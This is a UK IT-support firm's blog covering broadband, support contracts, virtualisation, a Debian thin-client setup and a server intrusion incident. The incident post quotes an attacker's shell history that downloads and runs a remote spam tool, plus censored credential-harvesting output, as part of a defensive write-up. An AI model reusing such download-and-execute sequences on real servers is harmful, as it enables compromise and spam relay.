Matthew Buck’s Blog – Principal Engineer at RatwareUK

Location, location, location.

I thought about writing this post after a friend of mine called me and said he’d found a new office for his business – but he’d heard reports that the broadband on-site was limited. He asked for my advice.

There are three key things you should remember when sourcing broadband for your business:

1) Is VirginMedia’s Fibre Optic (not ADSL – they offer this to non-fibre enabled areas) available in your location?
If so, purchase this and read no further. VirginMedia’s fibre service is unrivalled, both in their routing hardware and down to the wire. If you can’t go with VirginMedia’s fibre optic service you are stuck with ADSL. This isn’t too bad as long as you’re close to the exchange and your exchange has a wide range of operator presence.

2) What services are available in the exchange to which your potential phone line would be connected?
Some people sign up with [Random ISP] Ltd and then experience a poor level of internet service. This is usually because although [Random ISP] Ltd sell broadband to customers all over the UK – they don’t actually have their own hardware present in your local exchange to which your physical line is connected. This means that all communication between the wider internet and your router has to travel through BT’s core hardware first before being re-routed to another BT exchange to hop onto [Random ISP]‘s network. Clearly this is undesirable and users tend to experience lag, packet jitter and, during peak times, bandwidth throttling.

You can check exactly which operators are present in your local exchange by visiting Sam Knows . First make sure you get the correct exchange by entering your phone number and postcode (your line may be connected to any close by). My advice is that if the operator you want has no presence in your exchange, cut your losses and sign up with BT Broadband to receive the best service available.

3) Once you’ve found out which exchange you’re connected to, also check the distance you are away from it.
Many operators will sell you ‘ADSL2+ up to 24Mbps broadband’ – however if your premises is 8km away from the exchange you are likely to get a sketchy 2Mbps which drops on and of throughout the day. Not great if you use hosted services! Use Sam Knows Exchange Mapping to show/hide the coverage of your local exchange. If you are right on the edge of the exchange’s coverage, it’s likely you’ll need some expert help, such as a bonded broadband solution, leased line or in rare cases; satellite broadband. There are other factors to do with your physical line which will affect speed, but none really more so than your distance away from the exchange.

In answering my friend’s question, he didn’t move his business. It turns out that many existing tenants only received slow broadband and the premises was situated on the very edge of the local exchange’s coverage.

In summary:

• Can I avoid ADSL? If so, go with VirginMedia’s Fibe Optic Broadband.
• Does the operator I’m signing with have a presence in the exchange? If not, just go with BT as you’ll be using their network on your first hops anyway.
• Are you close enough to your exchange to receive a good level of service? Remember, operators will sell you 24Mbps and you may only ever be able to receive 6Mbps. So maybe find a cheaper deal, if available.

Yesterday I got thinking about some of our clients and the way they do business and I thought ‘Why is a strong relationship with an IT support provider essential?’

IT has become an essential part if not a mandatory cog in most enterprises. Just as you have someone looking after the direction of the company, the finance, the vision – you’re also going to need a good IT support partner. For the past decade at least, IT has been tied in with marketing, communication, data, disaster recovery, corporate security, efficiency and business growth. Here are a few real life examples that I can think of immediately which demonstrate why a strong relationship with an IT support provider is essential -

1) An important email sent by one of our clients to their customer is repeatedly bouncing back.

Your IT support partners are able to see the error message and commence diagnostics to resolve the issue. It’s important to remember email can not work correctly for many reasons. Some are within your IT Support‘s control, others are factors outside your organisation:

The domain name or email address has been entered incorrectly.

The email address exists, however, the recipient’s mail server is offline.

The email address exists, however, the recipient has mis-configured their name servers or DNS records.

If you are relaying straight out from your mail server, there could be a problem with your ISP’s DNS servers which means your mail server is unable to resolve the IP of the recipient mail server.

The email is being rejected by the recipient’s mail server due to the recipient’s inbound mail policy.

Your mailbox is over-limit and your mailserver is not allowing you to send/receive email.

The recipient’s mailbox is over-limit and is not accepting new mail.

…

The above initially reported problem appears to be minor, however, many problems could arise from this one incident; some not very technical, some which are. If you’ve got an IT support contract, you’ll have a team to hand which will solve an issue like this quickly.

2) You switch your workstation on in the morning and it won’t boot up. You have work to do and there are no spare computer terminals today.

If you have an IT support contract, you can immediately hand the issue over to them. Quite often, if a computer is unusable, your IT Support partners will lend your company a replacement PC immediately whilst your existing workstation is repaired. If the workstation has been procured from your IT Support partner, it’s likely to be under warranty and your IT Support will have strong support links with the vendor, so you’ll be sure that the problem will be resolved quickly and effectively.

3) You wish to terminate one of your employee’s contracts, however, you’re worried about corporate sabotage and access to the employee’s emails.

Your IT Support partner will be able to best advise you on this. It’s likely that your IT system is already configured with several layers of access. For example, an employee with a sales role will not be able to see data from the accounts department. In the event that the employee’s contract is terminated abruptly, your IT support provider can assist throughout the process, making sure data remains safe and recoverable.

RatwareUK once had a case where on the last day of employment a user maliciously deleted  all project files. The data was immediately recovered by RatwareUK, allowing the company and the user’s successor to continue with the project. Your IT support provider will also be able to divert employee emails to another user and provide access to or merge their mailbox into another account. Lastly, if mobile devices are in use, it’s likely that your IT Support will be able to wipe or ‘kill’ the handheld remotely, meaning that even if an employee leaves the organisation quickly they won’t have access to or a record of contacts or corporate email.

4) Your landlord has sent you a letter giving you 3 months’ notice to leave your current business premises. He wants to sell the property and land for commercial gain.

In the event you are faced with the above, you’ll probably be looking for a new home for your business the same week. You may find the right place, but soon you’ll be faced with questions like these:

Does it have suitable structured cabling for my network?

Where can I place my existing server and network equipment?

How do I plan the move so that you don’t have any email or business downtime?

Your IT support provider will be able to answer all these questions and assist your business in the most important decision making you’ve probably had to make all year. Office relocations can be stressful and there’s a lot to go wrong, plus you’ve got to have all your services enabled before you move – telecoms, broadband and fax, for example. If you’ve got branch offices, you may have to reconfigure VPNs and firewalls so that your wide area network encompasses the new office.

If you’ve got a strong relationship with an IT support provider, you can trust their expertise and allow them to assist in maintaining, developing and expanding your business. If you’re looking for a new IT support provider, take a moment to contact RatwareUK for a no-obligation IT support contract assessment.

The following blog is about a web server security issue which I’ve been dealing with for the past couple of days. I’m hoping this blog will help other system administrators secure their systems and help make them become aware that security is a process and not a state.

Again, please note: the details below concern a real-life security scenario.

The Attack

On Tuesday night I was out on a works function when I started to receive messages on my Blackberry. Exim was failing to restart on one of our servers. The restart process was presumably executed automatically because the service had stopped responding. When I got home, I logged onto the server and discovered the mail queue was absolutely rammed with spam email. The source of the email was localhost and the email was being queued for delivery and sent out from our server. This isn’t a totally uncommon problem, however I was concerned that on this occasion the source of the emails seemed to be the server, rather than an external client relaying email through the system. I decided to take matters further and immediately began investigating.

Our Investigation

Upon investigation, a CPanel user connected via SSH and uploaded some scripts into their /tmp directory. These scripts downloaded, decompressed and executed a program from another server:

wget (URL CENSORED)
#1295629061
unzip rdp.zip
#1295629092
cd /tmp/rdp
#1295629095
pwd
#1295629117
chmod +x *
#1295629138
./start 209 0 100
#1295629147
ls -l
#1295629160
cd /tmp
#1295629166
rm -rf rdp
#1295629171
rm -rf rdp.zip

The CPanel user didn’t have SSH permissions, so the initial script upload must have been performed via secure FTP and then activated through command within their web browser. Also, it became pretty clear the CPanel user wouldn’t have done this, it would have been done by a third party, presumably capturing the CPanel username and password from elsewhere. I suspended the account immediately.

The files used by the scripts appeared to be relaying mail out at an alarming rate. I removed the scripts, deleted the installed files and cleared the Exim mail queue. Making sure that the attack wasn’t able to probe any deeper into the server, I then searched for files created at a similar time. I then found a file called confspy.pl . It would appear that script was attempting to scan other parts of the server for vulnerable web applications. Within the file, passwords relating to WordPress and CMS installations appeared to have been compromised. The file read:

Total users public_html : 58
Total readable public_html : 12
[!] Searching for config files …
[+] (PATH CENSORED)
[@] (PASSWORD CENSORED)
[+] (PATH CENSORED)
[@] (PASSWORD CENSORED)
[+] (PATH CENSORED)
[@] PASSWORD CENSORED)
[FTP] (USERNAME:PASSWORD) -> success !!!
…

So, assuming that each of the listed passwords and successful FTP connections are accurate, then all the accounts will need to be changed ASAP. After restoring the original attacked CPanel account, I was now going to review each of the above listed accounts for recent FTP/SSH activity.

Understanding the Attack Vector and our Quick Response

My results showed no further concerns. Additionally, I didn’t see any concerning logins despite passwords being captured and saved in the file above. Phew – close call!

Therefore, as it stood now, all malicious files created from the intrusion had been removed and there was no further evidence of activity. Now that the attack had been stopped and I understood the vector of the attack, I was able to make the following alterations to the Web Server:

• We rolled back the original affected CPanel account to an earlier backup and changed all the account, FTP, SSH and MySQL passwords.
• As a precaution, we changed all the passwords (like the above) for any account which was listed within the hacker’s confspy.pl file which we found.
• We wrote a script which compiled a list of all the versions of web software installed by our users. Each WordPress/Joomla/CMS etc. that we  found which was out of date was then updated to the latest stable release.

Understanding that the initial attack vector used a legitimate stolen username and password – there wasn’t much we could do to prevent further attacks via this method apart from possibly restricting the IP addresses from which users access the server. However, what we could do was edit the server’s ModSecurity rules to prevent the client side scripting which further enabled this attack.

In reviewing the current ModSecurity rules we added the following line:

#check for bad meta characters in User-Agent field #SecRule HTTP_User-Agent “.*\’”

I was now happy this security issue was dealt with for the following reasons:

• The initial attack was caused by the user’s account username and password being compromised  (possibly spyware or malware on a computer they were using at the time).
• The hackers  had actually left a log of what accounts they’d compromised, making our job easier.
• Our prompt responses and attention to the issue allowed our server to stay online whilst the issue was eliminated and investigated.
• The process of password changes and our user’s web application upgrades was good security practice.
• A vector of attack was understood, highlighted and plugged – further hardening the system.
• We referred all external source IPs found during our analysis to their IP Abuse Handler.
• We searched 51 email blacklists for the server’s IP address to make sure the spam bot which resulted from the attack did not comprise our server’s ability to relay email.
• Our security knowledge and processes were updated.

My Final Advice on Web Server Security

Always pro-actively monitor your servers. Keep an eye on processes and mail queues. Enforce the use of secure passwords and remind your users to regularly update their bespoke web software with the latest stable releases. Remember old versions of web software can be more vulnerable to attack vectors such as cross-site scripting which are documented publicly. So new versions of code will remediate discovered vulnerabilities!

RatwareUK offer Vulnerability Scanning and security consultancy where appropriate. For more information, please contact me @ratwareuk or via contact us .

It’s been a year since we deployed our last conventional server in a business environment. “Conventional” meaning a server whereby the operating system sits directly on the computer’s hardware. It’s odd specifying that, isn’t it? It’s almost as if we now live in a virtual world and it’s taken as given that any hardware will be at least running one virtual machine or more.

Windows Virtual PC

Virtualisation is the most important thing to hit the IT industry in the past decade. I know VMWare and other methods of virtualisation have been around a long time before this, but with the advent of 64-bit systems and mega-fast processors, running concurrent virtual machines without problems, virtualisation has become a definite reality for all new deployments these days. For example, I installed a 32-bit Windows 7 Desktop PC a few days ago – it came in-built with Windows Virtual PC, which allows you to run a completely separate Windows XP VM. Amazing! You can also configure it to start your Windows XP applications in Virtual Mode. You can download virtual PC here.

Virtual Box

In the office, if we want to create a new Linux OS to run from a tiny flash drive for a thin client, say; instead of playing around for ages trashing a computer in the lab, we simply create our OS in Virtual Box. Virtual Box allows us to safely create, recall and test virtual machines over and over again without our systems having to be hardware dependant. You can download Virtual Box here.

Hyper-V and VMWare

From an infrastructure perspective, virtualisation has completely changed the way RatwareUK deploys, manages and migrates server systems. Now we use Microsoft Hyper-V and VMWare vSphere to create virtual server machines on one piece physical hardware. It’s now become common for our clients to have 3-4 servers on one physical box. If they need a hardware upgrade, no problem – we simply power the VMs down, re-assign the virtual resources and boot the VMs back up. Before any major system work is done, we can also quickly and safely snapshot the VM. If we need to move the server to a new piece of hardware, we just migrate the image onto a new virtualised box.

Terminal Server and XenDesktop

Lastly, to provide a common desktop experience to users, we also virtualise this too. Using a combination of Terminal Server, Virtual Machines or Citrix, we can provide a hard disk-less thin client solution for each end-user  and stream their desktop environment over LAN or VPN back to them. The user doesn’t notice the difference and the whole organisation is provided with the applications they require to work from anywhere. Business continuity and support response times are also improved significantly and every user receives what we call a common desktop experience, irrespective of what hardware they use to access the IT resources.

Computer Virtualisation Experts at RatwareUK

Contact us for more information on the benefits of consolidating server hardware and providing virtualistion across your network.

Using a Dell Optiplex fx160 with the Suse thin client pre-installed? Found a problem with SLED10 and rdesktop not connecting to a Server 2008 remote desktop connection? – Never fear, as we have had the same problem and our Linux Guru has investigated the best fix:

Along the way, we tried all sorts:

• Updating the rdesktop on SLED to 1.6 . SLED – didn’t like this.
• Installing Ubuntu Netbook Remix, which is a small OS which we though would fit nicely on the thin client’s 1GB of NVRAM – but we couldn’t rip out enough packages to get it small enough!

The solution: Ditch SLED. Its rdesktop doesn’t have the best resolution anyway. Install Debian LXde.

Here’s how!

Step One:

Download the following. You may find it easier to copy the second file to the USB stick from a Windows machine but you’ll need to use Linux or Mac for the first one;

• http://ftp.nl.debian.org/debian/dists/lenny/main/installer-i386/current/images/hd-media/boot.img.gz

• http://cdimage.debian.org/debian-cd/5.0.4/i386/iso-cd/debian-504-i386-netinst.iso

Put blank USB stick in Linux computer and make sure it isn’t mounted – you’ll probably need to use mount and umount to get this sorted.
Use dmesg to see what disk was just inserted – line near the end will mention something like /dev/sdX. Type:

zcat boot.img.gz > /dev/sdX

Unplug the drive and re-insert (or put into a Windows PC). Then copy debian-504-i386-netinst.iso to it
Plug into thin and boot. F12 usually selects boot device.

Step Two:

When you create the user Use full name = user and username = user
Select expert install.
Mostly just accept the default by pressing enter, except:

United Kingdom for country
British English keyboard
Don’t start PC card services

The next bit is the only non-obvious part of the whole process, IMO. Use guided partitioning and let it choose two partitions. Then before committing to disk delete both partitions and create one primary partition of 1GB – no swap is needed.

• Select default kernel (i686)
• Select targeted initrd
• Deselect all software tasks (Standard system is the only one selected by default)

You now have a bootable Debian in 371MB.

Step Three:

Login as root and do the following (# or $ is the command prompt, not something to type!)

# apt-get clean
# apt-get update
# apt-get install lxde

Just accept the warnings about swap space – you won’t be suspending to disk anyway.

# apt-get clean # apt-get install tsclient rdesktop # apt-get clean # reboot login as user

Open a terminal using the icon in the lower left of the screen $ xdg-desktop-icon install –novendor /usr/share/applications/tsclient.desktop . This will create you  a terminal server desktop icon!

Double-click the icon that appears in the top right.

Do the settings and save as CONNECT (or something similar). Don’t forget to set full-screen on the display tab. The TSClient window will go away.

(I had to reboot after this. Alt-F1 to get to command window followed by ctrl-alt-del should do it). You can check the connection using the quick connect button.

Step Four:

Now let’s configure the terminal server connection to autostart:

$ cd .config
$ mkdir autostart
$ nano -w autostart/tsclient.desktop

[Desktop Entry]
Type=Application
Exec=tsclient -x /home/user/.tsclient/CONNECT.rdp

Step Five:

Autologin and autorun didn’t work in combination for me. I’d suggest not using autologin but if you want to try it do this:

LOGOUT

On the login screen choose Actions (bottom of screen).

Configure the login manager Authenticate with root password.

Click OK a few times. On security tab enable automatic login and set the user.

Close and reboot (from the Actions button)

Now you have a thin OS installed on your flash drive which will boot automatically and start a terminal server desktop session to your Server 2008 without any fuss.

Could this new Draytek 2820 VOIP product be a further nail in the coffin for conventional telephony methods? Recently I implemented one of these, and at approximately £400 + VAT (including a couple of IP Phones), I have a fully functional local exchange, providing the usual functions such as; auto attendant, voicemail, hunt groups, call-logging, music-on-hold, conference calling etc. On each of the IP Phones you can set the voice compression method and from the IP-PBX you can swiftly implement upstream QOS, governing the VOIP system. After 2 months of constant use, I’m told that there is “no difference” to the quality of a conventional telephone line and no difference in the features of a conventional local PBX.

The Draytek is serviced by a 10Mbps/700Kbps Internet connection provided by Virgin Media, with a failover WAN2 USB Modem providing Orange 3G. It’s in a server room so it’s powered by an existing UPS, just like your conventional phone system should be.

The SIP provider is Draytel. They provide a host of telephony services. In this case; providing 5 simultaneous SIP Trunks (5 lines) including 2500 UK land line minutes for just £19.99 + VAT per month. That’s a better deal than BT and you aren’t tied to their ridiculous local exchange programme, which prohibits you from taking your phone number when moving your office. When this client moves, they’ll simply ensure broadband is present and then plug their Draytek router in. No reconfiguration, no costs, no downtime – phone and Internet moved simultaneously.

This small router provides support for up to 30 extensions, the next model up provides 100. Are products like this going to signal the death of conventional telephony?

I’ve been speechless for a while, because Dell have outdone themselves with their new thin client – the Optiplex FX160. Basically, thin clients don’t need hard drives. They run a local operating system such as Windows XP Embedded from solid state flash media. This flash media may only be around 2GB in size – just large enough to hold the operating system image. This makes the thin client very fast and very robust.

The 160′s are supplied with an embedded image providing a cut-down XP desktop with immediate support for Remote Desktop Connection, VMWare and Citrix. A quick modification to the image via a deployment server and you’re booting straight into your virtual environment. The units are fast, ultra-small and have a really low carbon footprint. Once more, this new thin client and a strategy of virtualisation takes away the need to “rebuild” systems on failure. There’s less to go wrong and no maintenance required. There’s more consolidation, security and control.

Dell Optiplex FX160 is now RatwareUK’s thin-client deployment of choice and a perfect partner when virtualising a network and desktop streaming. At approximately £270 + VAT per unit, this product is extremely cost-effective.

If I could have a pound for every time I’m meeting a new client and they ask “Can we have a wireless network, instead of a wired one?” we’d be a) rich and b) doing a serious mis-service. If everyone was as familiar with the words “virtualisation” as they are with “wireless” we’d be very happy. I guess it’s because people have wireless networking thrown at them by TV adds, ISPs and their savvy, computer-addict children. Why can’t people request virtualisation?

Today RatwareUK decided that, unless there was a specific technical circumstance against it, virtualisation was from now on, going to be the preferred solution we push to SMEs. VMware, memory and processing power have come a long way since I used to run Linux through a VM window on my home PC almost a decade ago. Now VMware is a credible and widespread solution, providing a multi-server deployment on minimal hardware and revolutionising IT support, security and provisioning. Within an SME context it consolidates everything and gets rid of the need for complex restoration processes and the constant up-hill support battle present on a multi-OS client environment. Virtualisation kills the need for complex group policy work, scripting and client upgrading. It pools your resources and configuration into one place.

I’m unsure what’s next for virtualisation. Maybe transferring your virtual machine solution from your office, to your hosting company’s cloud?

Hello again. I felt guilty about not blogging here in a while and using twitter too much, so I thought I’d do a quick blog containing some pictures of the work we’d been busy with recently…

The above as pictured is unfinished, however it shows our ability to provide a high end, complete infrastructure install. The building was being renovated, so we installed 66 CAT5e points, one Avaya IPO phone system and two Dell PowerEdge servers providing virtualisation and redundancy. The complete package, all wrapped up in a RatwareUK custom server cabinet.

Network Installation

IT Relocation Case Study

OK, so this weekend I find myself in the situation whereby I’ve got a POP3 account that I need to check regularly whilst I’m on the move. At RatwareUK we’ve got a BES solution, so I thought about creating a forwarder on the target email server to my principal email address which would push it through MSExchange and via BES to my blackberry. I hate email forwarding though – and it’s probably unwarranted – but I’ve got hangups from dealing with companies whose email aliases are setup on an unfathomable web of forwarders. I guess I’m biased but I try to avoid them at all costs! Using my Blackberry, I wanted to connect directly to my additional POP3 mailbox:

Introducing LogicMail – free, open source – I’m impressed. Implementation took around 2 minutes and I did it directly from their website on my Blackberry. I’ve now got a fast and reliable POP3 client which allows me to relay out through an SMTP server of my choice. The client also integrates with my Blackberry address list and has a host of settings to customise identity etc.

Pull technology will never be as fast or reliable as Push and we all know BES is the best at this. However, LogicMail provides a really good and painless alternative solution. It got me thinking about future blog posts. I think one day I’ll have to do a post detailing BES vs Windows Mobile.